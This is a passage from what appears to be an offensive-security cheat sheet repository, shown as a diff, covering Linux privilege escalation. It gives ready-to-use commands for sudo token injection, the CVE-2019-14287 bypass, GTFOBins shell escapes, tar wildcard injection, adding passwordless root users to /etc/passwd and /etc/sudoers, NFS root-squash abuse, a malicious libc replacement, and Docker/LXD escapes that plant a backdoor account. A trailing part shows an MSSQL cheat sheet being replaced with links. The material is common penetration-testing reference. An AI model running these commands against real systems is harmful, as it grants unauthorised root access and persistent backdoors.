||||||
[sudo] password for user:
|
|
||||||
# Press <ctrl>+c since you don't have the password.
|
|
||||||
# This creates an invalid sudo tokens.
|
|
||||||
$ sh exploit.sh
|
|
||||||
.... wait 1 seconds
|
|
||||||
$ sudo -i # no password required :)
|
|
||||||
# id
|
|
||||||
uid=0(root) gid=0(root) groups=0(root)
|
|
||||||
```
|
|
||||||
|
|
||||||
Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf)
|
|
||||||
|
|
||||||
|
|
||||||
### CVE-2019-14287
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Exploitable when a user have the following permissions (sudo -l)
|
|
||||||
(ALL, !root) ALL
|
|
||||||
|
|
||||||
# If you have a full TTY, you can exploit it like this
|
|
||||||
sudo -u#-1 /bin/bash
|
|
||||||
sudo -u#4294967295 id
|
|
||||||
```
|
|
||||||
|
|
||||||
## GTFOBins
|
|
||||||
|
|
||||||
[GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
|
|
||||||
|
|
||||||
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
|
|
||||||
|
|
||||||
> gdb -nx -ex '!sh' -ex quit
|
|
||||||
> sudo mysql -e '\! /bin/sh'
|
|
||||||
> strace -o /dev/null /bin/sh
|
|
||||||
> sudo awk 'BEGIN {system("/bin/sh")}'
|
|
||||||
|
|
||||||
|
|
||||||
## Wildcard
|
|
||||||
|
|
||||||
By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# create file for exploitation
|
|
||||||
touch -- "--checkpoint=1"
|
|
||||||
touch -- "--checkpoint-action=exec=sh shell.sh"
|
|
||||||
echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh
|
|
||||||
|
|
||||||
# vulnerable script
|
|
||||||
tar cf archive.tar *
|
|
||||||
```
|
|
||||||
|
|
||||||
Tool: [wildpwn](https://github.com/localh0t/wildpwn)
|
|
||||||
|
|
||||||
## Writable files
|
|
||||||
|
|
||||||
List world writable files on the system.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
|
|
||||||
find / -perm -2 -type f 2>/dev/null
|
|
||||||
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
|
|
||||||
```
|
|
||||||
|
|
||||||
### Writable /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
|
||||||
|
|
||||||
/etc/sysconfig/network-scripts/ifcfg-1337 for example
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
NAME=Network /bin/id <= Note the blank space
|
|
||||||
ONBOOT=yes
|
|
||||||
DEVICE=eth0
|
|
||||||
|
|
||||||
EXEC :
|
|
||||||
./etc/sysconfig/network-scripts/ifcfg-1337
|
|
||||||
```
|
|
||||||
src : [https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
|
||||||
|
|
||||||
### Writable /etc/passwd
|
|
||||||
|
|
||||||
First generate a password with one of the following commands.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
openssl passwd -1 -salt hacker hacker
|
|
||||||
mkpasswd -m SHA-512 hacker
|
|
||||||
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
|
|
||||||
```
|
|
||||||
|
|
||||||
Then add the user `hacker` and add the generated password.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
|
||||||
```
|
|
||||||
|
|
||||||
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
|
||||||
|
|
||||||
You can now use the `su` command with `hacker:hacker`
|
|
||||||
|
|
||||||
Alternatively you can use the following lines to add a dummy user without a password.
|
|
||||||
WARNING: you might degrade the current security of the machine.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
|
|
||||||
su - dummy
|
|
||||||
```
|
|
||||||
|
|
||||||
NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`.
|
|
||||||
|
|
||||||
### Writable /etc/sudoers
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
|
|
||||||
|
|
||||||
# use SUDO without password
|
|
||||||
echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
|
|
||||||
echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers
|
|
||||||
```
|
|
||||||
|
|
||||||
## NFS Root Squashing
|
|
||||||
|
|
||||||
When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# remote check the name of the folder
|
|
||||||
showmount -e 10.10.10.10
|
|
||||||
|
|
||||||
# create dir
|
|
||||||
mkdir /tmp/nfsdir
|
|
||||||
|
|
||||||
# mount directory
|
|
||||||
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
|
|
||||||
cd /tmp/nfsdir
|
|
||||||
|
|
||||||
# copy wanted shell
|
|
||||||
cp /bin/bash .
|
|
||||||
|
|
||||||
# set suid permission
|
|
||||||
chmod +s bash
|
|
||||||
```
|
|
||||||
|
|
||||||
## Shared Library
|
|
||||||
|
|
||||||
### ldconfig
|
|
||||||
|
|
||||||
Identify shared libraries with `ldd`
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ ldd /opt/binary
|
|
||||||
linux-vdso.so.1 (0x00007ffe961cd000)
|
|
||||||
vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
|
|
||||||
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)
|
|
||||||
```
|
|
||||||
|
|
||||||
Create a library in `/tmp` and activate the path.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c
|
|
||||||
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so
|
|
||||||
/opt/binary
|
|
||||||
```
|
|
||||||
|
|
||||||
### RPATH
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
|
|
||||||
0x00000001 (NEEDED) Shared library: [libc.so.6]
|
|
||||||
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
|
|
||||||
|
|
||||||
level15@nebula:/home/flag15$ ldd ./flag15
|
|
||||||
linux-gate.so.1 => (0x0068c000)
|
|
||||||
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
|
|
||||||
/lib/ld-linux.so.2 (0x005bb000)
|
|
||||||
```
|
|
||||||
|
|
||||||
By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
|
|
||||||
|
|
||||||
level15@nebula:/home/flag15$ ldd ./flag15
|
|
||||||
linux-gate.so.1 => (0x005b0000)
|
|
||||||
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
|
|
||||||
/lib/ld-linux.so.2 (0x00737000)
|
|
||||||
```
|
|
||||||
|
|
||||||
Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
#include<stdlib.h>
|
|
||||||
#define SHELL "/bin/sh"
|
|
||||||
|
|
||||||
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
|
|
||||||
{
|
|
||||||
char *file = SHELL;
|
|
||||||
char *argv[] = {SHELL,0};
|
|
||||||
setresuid(geteuid(),geteuid(), geteuid());
|
|
||||||
execve(file,argv,0);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Groups
|
|
||||||
|
|
||||||
### Docker
|
|
||||||
|
|
||||||
Mount the filesystem in a bash container, allowing you to edit the `/etc/passwd` as root, then add a backdoor account `toor:password`.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
$> docker run -it --rm -v $PWD:/mnt bash
|
|
||||||
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
|
|
||||||
```
|
|
||||||
|
|
||||||
Almost similar but you will also see all processes running on the host and be connected to the same NICs.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash
|
|
||||||
```
|
|
||||||
|
|
||||||
Or use the following docker image from [chrisfosterelli](https://hub.docker.com/r/chrisfosterelli/rootplease/) to spawn a root shell
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
|
|
||||||
latest: Pulling from chrisfosterelli/rootplease
|
|
||||||
2de59b831a23: Pull complete
|
|
||||||
354c3661655e: Pull complete
|
|
||||||
91930878a2d7: Pull complete
|
|
||||||
a3ed95caeb02: Pull complete
|
|
||||||
489b110c54dc: Pull complete
|
|
||||||
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
|
|
||||||
Status: Downloaded newer image for chrisfosterelli/rootplease:latest
|
|
||||||
|
|
||||||
You should now have a root shell on the host OS
|
|
||||||
Press Ctrl-D to exit the docker instance / shell
|
|
||||||
|
|
||||||
sh-5.0# id
|
|
||||||
uid=0(root) gid=0(root) groups=0(root)
|
|
||||||
```
|
|
||||||
|
|
||||||
More docker privilege escalation using the Docker Socket.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
|
||||||
```
|
|
||||||
|
|
||||||
### LXC/LXD
|
|
||||||
|
|
||||||
The privesc requires to run a container with elevated privileges and mount the host filesystem inside.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
╭─swissky@lab ~
|
|
||||||
╰─$ id
|
|
||||||
uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel)
|
|
||||||
```
|
|
||||||
|
|
||||||
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# build a simple alpine image
|
|
||||||
git clone https://github.com/saghul/lxd-alpine-builder
|
|
||||||
./build-alpine -a i686
|
|
||||||
|
|
||||||
# import the image
|
|
||||||
lxc image import ./alpine.tar.gz --alias myimage
|
|
||||||
|
|
||||||
# run the image
|
|
||||||
lxc init myimage mycontainer -c security.privileged=true
|
|
||||||
|
|
||||||
# mount the /root into the image
|
|
||||||
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
|
|
||||||
|
|
||||||
# interact with the container
|
|
||||||
lxc start mycontainer
|
|
||||||
lxc exec mycontainer /bin/sh
|
|
||||||
```
|
|
||||||
|
|
||||||
Alternatively https://github.com/initstring/lxd_root
|
|
||||||
|
|
||||||
|
|
||||||
## Hijack TMUX session
|
|
||||||
|
|
||||||
Require a read access to the tmux socket : `/tmp/tmux-1000/default`.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
export TMUX=/tmp/tmux-1000/default,1234,0
|
|
||||||
tmux ls
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Kernel Exploits
|
|
||||||
|
|
||||||
Precompiled exploits can be found inside these repositories, run them at your own risk !
|
|
||||||
* [bin-sploits - @offensive-security](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)
|
|
||||||
* [kernel-exploits - @lucyoa](https://github.com/lucyoa/kernel-exploits/)
|
|
||||||
|
|
||||||
The following exploits are known to work well, search for more exploits with `searchsploit -w linux kernel centos`.
|
|
||||||
|
|
||||||
Another way to find a kernel exploit is to get the specific kernel version and linux distro of the machine by doing `uname -a`
|
|
||||||
Copy the kernel version and distribution, and search for it in google or in https://www.exploit-db.com/.
|
|
||||||
|
|
||||||
### CVE-2022-0847 (DirtyPipe)
|
|
||||||
|
|
||||||
Linux Privilege Escalation - Linux Kernel 5.8 < 5.16.11
|
|
||||||
|
|
||||||
```
|
|
||||||
https://www.exploit-db.com/exploits/50808
|
|
||||||
```
|
|
||||||
|
|
||||||
### CVE-2016-5195 (DirtyCow)
|
|
||||||
|
|
||||||
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# make dirtycow stable
|
|
||||||
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
|
|
||||||
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
|
|
||||||
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
|
|
||||||
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
|
|
||||||
```
|
|
||||||
|
|
||||||
### CVE-2010-3904 (RDS)
|
|
||||||
|
|
||||||
Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
https://www.exploit-db.com/exploits/15285/
|
|
||||||
```
|
|
||||||
|
|
||||||
### CVE-2010-4258 (Full Nelson)
|
|
||||||
|
|
||||||
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
https://www.exploit-db.com/exploits/15704/
|
|
||||||
```
|
|
||||||
|
|
||||||
### CVE-2012-0056 (Mempodipper)
|
|
||||||
|
|
||||||
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
https://www.exploit-db.com/exploits/18411
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
- [SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m](https://mn3m.info/posts/suid-vs-capabilities/)
|
|
||||||
- [Privilege escalation via Docker - April 22, 2015 - Chris Foster](https://fosterelli.co/privilege-escalation-via-docker.html)
|
|
||||||
- [An Interesting Privilege Escalation vector (getcap/setcap) - NXNJZ - AUGUST 21, 2018](https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/)
|
|
||||||
- [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
|
|
||||||
- [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/)
|
|
||||||
- [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)
|
|
||||||
- [HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018](https://www.securitynewspaper.com/2018/04/25/use-weak-nfs-permissions-escalate-linux-privileges/)
|
|
||||||
- [Privilege Escalation via lxd - @reboare](https://reboare.github.io/lxd/lxd-escape.html)
|
|
||||||
- [Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018](https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/)
|
|
||||||
- [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc](https://github.com/nongiach/sudo_inject)
|
|
||||||
* [Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates](http://www.deer-run.com/~hal/sysadmin/pam_cracklib.html)
|
|
||||||
* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf)
|
|
||||||
* [SSH Key Predictable PRNG (Authorized_Keys) Process - @weaknetlabs](https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Vulnerabilities/SSH/key-exploit.md)
|
|
||||||
* [The Dirty Pipe Vulnerability](https://dirtypipe.cm4all.com/)
|
|
||||||
@@ -1,670 +1,61 @@
|
|||||||
# MSSQL Server
|
# MSSQL Server
|
||||||
|
|
||||||
## Summary
|
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/mssql-server-cheatsheet](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/)
|
||||||
|
|
||||||
* [Identify Instances and Databases](#identifiy-instaces-and-databases)
|
- [Tools](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#tools)
|
||||||
* [Discover Local SQL Server Instances](#discover-local-sql-server-instances)
|
- [Identify Instances and Databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#identifiy-instaces-and-databases)
|
||||||
* [Discover Domain SQL Server Instances](#discover-domain-sql-server-instances)
|
- [Discover Local SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-local-sql-server-instances)
|
||||||
* [Discover Remote SQL Server Instances](#discover-remote-sql-instances)
|
- [Discover Domain SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-domain-sql-server-instances)
|
||||||
* [Identify Encrypted databases](#identifiy-encrypted-databases)
|
- [Discover Remote SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-remote-sql-instances)
|
||||||
* [Version Query](#version-query)
|
- [Identify Encrypted databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#identifiy-encrypted-databases)
|
||||||
* [Identify Sensitive Information](#identify-sensitive-information)
|
- [Version Query](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#version-query)
|
||||||
* [Get Tables from a Specific Database](#get-tables-from-specific-databases)
|
- [Identify Sensitive Information](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#identify-sensitive-information)
|
||||||
* [Gather 5 Entries from Each Column](#gather-5-entries-from-each-column)
|
- [Get Tables from a Specific Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#get-tables-from-specific-databases)
|
||||||
* [Gather 5 Entries from a Specific Table](#gather-5-entries-from-a-specific-table)
|
- [Gather 5 Entries from Each Column](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-5-entries-from-each-column)
|
||||||
* [Dump common information from server to files](#dump-common-information-from-server-to-files)
|
- [Gather 5 Entries from a Specific Table](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-5-entries-from-a-specific-table)
|
||||||
* [Linked Database](#linked-database)
|
- [Dump common information from server to files](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#dump-common-information-from-server-to-files)
|
||||||
* [Find Trusted Link](#find-trusted-link)
|
- [Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#linked-database)
|
||||||
* [Execute Query Through The Link](#execute-query-through-the-link)
|
- [Find Trusted Link](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-trusted-link)
|
||||||
* [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain)
|
- [Execute Query Through The Link](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-query-through-the-link)
|
||||||
* [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance)
|
- [Crawl Links for Instances in the Domain](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#crawl-links-for-instances-in-the-domain)
|
||||||
* [Query Version of Linked Database](#query-version-of-linked-database)
|
- [Crawl Links for a Specific Instance](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#crawl-links-for-a-specific-instance)
|
||||||
* [Execute Procedure on Linked Database](#execute-procedure-on-linked-database)
|
- [Query Version of Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#query-version-of-linked-database)
|
||||||
* [Determine Names of Linked Databases ](#determine-names-of-linked-databases)
|
- [Execute Procedure on Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-procedure-on-linked-database)
|
||||||
* [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database)
|
- [Determine Names of Linked Databases ](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#determine-names-of-linked-databases)
|
||||||
* [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table)
|
- [Determine All the Tables Names from a Selected Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#determine-all-the-tables-names-from-a-selected-linked-database)
|
||||||
* [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column)
|
- [Gather the Top 5 Columns from a Selected Linked Table](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-the-top-5-columns-from-a-selected-linked-table)
|
||||||
* [Command Execution via xp_cmdshell](#command-execution-via-xp_cmdshell)
|
- [Gather Entries from a Selected Linked Column](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-entries-from-a-selected-linked-column)
|
||||||
* [Extended Stored Procedure](#extended-stored-procedure)
|
- [Command Execution via xp_cmdshell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#command-execution-via-xp_cmdshell)
|
||||||
* [Add the extended stored procedure and list extended stored procedures](#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
|
- [Extended Stored Procedure](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#extended-stored-procedure)
|
||||||
* [CLR Assemblies](#clr-assemblies)
|
- [Add the extended stored procedure and list extended stored procedures](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
|
||||||
* [Execute commands using CLR assembly](#execute-commands-using-clr-assembly)
|
- [CLR Assemblies](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#clr-assemblies)
|
||||||
* [Manually creating a CLR DLL and importing it](#manually-creating-a-clr-dll-and-importing-it)
|
- [Execute commands using CLR assembly](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-using-clr-assembly)
|
||||||
* [OLE Automation](#ole-automation)
|
- [Manually creating a CLR DLL and importing it](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#manually-creating-a-clr-dll-and-importing-it)
|
||||||
* [Execute commands using OLE automation procedures](#execute-commands-using-ole-automation-procedures)
|
- [OLE Automation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#ole-automation)
|
||||||
* [Agent Jobs](#agent-jobs)
|
- [Execute commands using OLE automation procedures](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-using-ole-automation-procedures)
|
||||||
* [Execute commands through SQL Agent Job service](#execute-commands-through-sql-agent-job-service)
|
- [Agent Jobs](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#agent-jobs)
|
||||||
* [List All Jobs](#list-all-jobs)
|
- [Execute commands through SQL Agent Job service](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-through-sql-agent-job-service)
|
||||||
* [External Scripts](#external-scripts)
|
- [List All Jobs](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-jobs)
|
||||||
* [Python](#python)
|
- [External Scripts](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#external-scripts)
|
||||||
* [R](#r)
|
- [Python](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#python)
|
||||||
* [Audit Checks](#audit-checks)
|
- [R](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#r)
|
||||||
* [Find and exploit impersonation opportunities](#find-and-exploit-impersonation-opportunities)
|
- [Audit Checks](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#audit-checks)
|
||||||
* [Find databases that have been configured as trustworthy](#find-databases-that-have-been-configured-as-trustworthy)
|
- [Find and exploit impersonation opportunities](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-and-exploit-impersonation-opportunities)
|
||||||
* [Manual SQL Server Queries](#manual-sql-server-queries)
|
- [Find databases that have been configured as trustworthy](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-databases-that-have-been-configured-as-trustworthy)
|
||||||
* [Query Current User & determine if the user is a sysadmin](#query-current-user--determine-if-the-user-is-a-sysadmin)
|
- [Manual SQL Server Queries](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#manual-sql-server-queries)
|
||||||
* [Current Role](#current-role)
|
- [Query Current User & determine if the user is a sysadmin](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#query-current-user--determine-if-the-user-is-a-sysadmin)
|
||||||
* [Current DB](#current-db)
|
- [Current Role](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#current-role)
|
||||||
* [List all tables](#list-all-tables)
|
- [Current DB](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#current-db)
|
||||||
* [List all databases](#list-all-databases)
|
- [List all tables](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-tables)
|
||||||
* [All Logins on Server](#all-logins-on-server)
|
- [List all databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-databases)
|
||||||
* [All Database Users for a Database](#all-database-users-for-a-database)
|
- [All Logins on Server](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#all-logins-on-server)
|
||||||
* [List All Sysadmins](#list-all-sysadmins)
|
- [All Database Users for a Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#all-database-users-for-a-database)
|
||||||
* [List All Database Roles](#list-all-database-role)
|
- [List All Sysadmins](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-sysadmins)
|
||||||
* [Effective Permissions from the Server](#effective-permissions-from-the-server)
|
- [List All Database Roles](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-database-role)
|
||||||
* [Effective Permissions from the Database](#effective-permissions-from-the-database)
|
- [Effective Permissions from the Server](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#effective-permissions-from-the-server)
|
||||||
* [Find SQL Server Logins Which can be Impersonated for the Current Database](#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
|
- [Effective Permissions from the Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#effective-permissions-from-the-database)
|
||||||
* [Exploiting Impersonation](#exploiting-impersonation)
|
- [Find SQL Server Logins Which can be Impersonated for the Current Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
|
||||||
* [Exploiting Nested Impersonation](#exploiting-nested-impersonation)
|
- [Exploiting Impersonation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#exploiting-impersonation)
|
||||||
* [MSSQL Accounts and Hashes](#mssql-accounts-and-hashes)
|
- [Exploiting Nested Impersonation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#exploiting-nested-impersonation)
|
||||||
* [References](#references)
|
- [MSSQL Accounts and Hashes](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#mssql-accounts-and-hashes)
|
||||||
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#references)
|
||||||
## Identify Instances and Databases
|
|
||||||
|
|
||||||
### Discover Local SQL Server Instances
|
|
||||||
|
|
||||||
```ps1
|
|
